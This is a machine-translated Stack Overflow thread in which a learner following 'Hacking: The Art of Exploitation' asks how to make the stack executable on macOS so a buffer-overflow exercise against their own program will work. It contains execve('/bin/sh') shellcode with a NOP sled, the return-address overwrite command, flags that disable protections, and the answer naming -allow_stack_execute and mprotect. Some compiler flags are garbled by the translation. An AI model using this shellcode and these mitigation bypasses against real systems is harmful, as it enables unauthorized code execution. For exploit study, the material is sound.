C 如何使堆栈在osx上可执行?

C 如何使堆栈在osx上可执行?,c,macos,security,gcc,shellcode,C,Macos,Security,Gcc,Shellcode,我目前正在经历“黑客攻击;利用的艺术”,并在我编写的一些示例代码上练习编写shell代码注入 我正在注入shell代码作为环境变量。在lldb中,我可以看到我正在覆盖返回地址,并且EIP被设置在NOP底座的中间。然而,它随后抛出“EXC_BAD_ACCESS”和segfaults 下面是我的外壳代码的堆栈部分: 0xbffffbd8: "SHELL=/bin/sh" 0xbffffbe6: "SHELLCODE=\xffffff90\xffffff90\xffffff90\xffffff90\x

我目前正在经历“黑客攻击;利用的艺术”,并在我编写的一些示例代码上练习编写shell代码注入

我正在注入shell代码作为环境变量。在lldb中,我可以看到我正在覆盖返回地址,并且EIP被设置在NOP底座的中间。然而,它随后抛出“EXC_BAD_ACCESS”和segfaults

下面是我的外壳代码的堆栈部分:

0xbffffbd8: "SHELL=/bin/sh"
0xbffffbe6: "SHELLCODE=\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff901\xffffffc01\xffffffdb1\xffffffc9\xffffff99\xffffffb0\xffffffa4\xffffffcd\xffffff80j\vXQh//shh/bin\xffffff89\xffffffe3Q\xffffff89\xffffffe2S\xffffff89\xffffffe1\xffffffcd\xffffff80"
0xbffffcdc: "SHLVL=4"
调用
lldb./notesearch$(perl-e“print”\x5e\xfc\xff\xbf“x40”)
来执行缓冲区溢出,下面是它发生故障时得到的结果:

Process 21713 stopped
* thread #1: tid = 0xa33bc3, 0xbffffc5e, queue = 'com.apple.main-thread', stop reason = EXC_BAD_ACCESS (code=2, address=0xbffffc5e)
    frame #0: 0xbffffc5e
->  0xbffffc5e: nop    
    0xbffffc5f: nop    
    0xbffffc60: nop    
    0xbffffc61: nop    
我正在使用
gcc-g-O0-fno堆栈保护器-D_FORTIFY_SOURCE=0-fomit帧指针
为了编译代码,我使用了
--no pie
--executable heap
选项集

我认为问题在于osx会自动将堆栈设置为不可执行。不幸的是,osx中似乎没有用于gcc的
-z execstack
选项。也没有可使用的
execstack
实用程序


我已经浏览了网页,但仍然找不到在编译代码中使堆栈可执行的方法。有没有办法做到这一点,如果有,怎么做?

来自苹果开发者文档:

有两种方法使堆栈和堆可执行:

将-allow_stack_execute标志传递给编译器。这使得 堆栈(不是堆)可执行文件

使用mprotect系统调用标记 作为可执行文件的特定内存页。细节超出了范围 本文件的附件。有关更多信息,请参阅手册页了解更多信息 保护


查看更多信息:

希望不是在我有生之年。你有没有试过把沙发放在铁路上看看会发生什么?“这是出于恶意的好奇还是恶意?”风向标说。这有害吗?我只是想制作一个有漏洞的软件,通过它我可以获得shell代码注入的实际操作经验。对于试图学习安全知识的人来说,破解自己的代码不是一种非常标准的教育实践吗?有害吗?发动第三次世界大战?IMO最好集中精力使代码防弹。这里有足够多的意外输入,无论如何你都必须加以防范。如果你想破坏你自己的代码:不要让它容易受到攻击,让它成为你想要提供的真实世界的代码。然后试着用意外的、恶意的或未经证实的输入来打破它。@Breezy我同意你的观点,从教育的角度来看,学习这些漏洞是很有价值的。你很难防范你不了解的东西,虽然大多数现代操作系统默认情况下会使堆栈不可执行,但了解堆栈漏洞利用是理解更复杂漏洞利用的垫脚石。欢迎使用堆栈溢出。请注意,在这里说“谢谢”的首选方式是投票选出好的问题和有用的答案(一旦你有足够的声誉这么做),并接受对你提出的任何问题最有用的答案(这也会给你的声誉带来一点提升)。请看网页,这也很好地工作。通过将
-Wl,-allow_stack_execute
添加到我的gcc别名中的标志,我能够使堆栈可执行。谢谢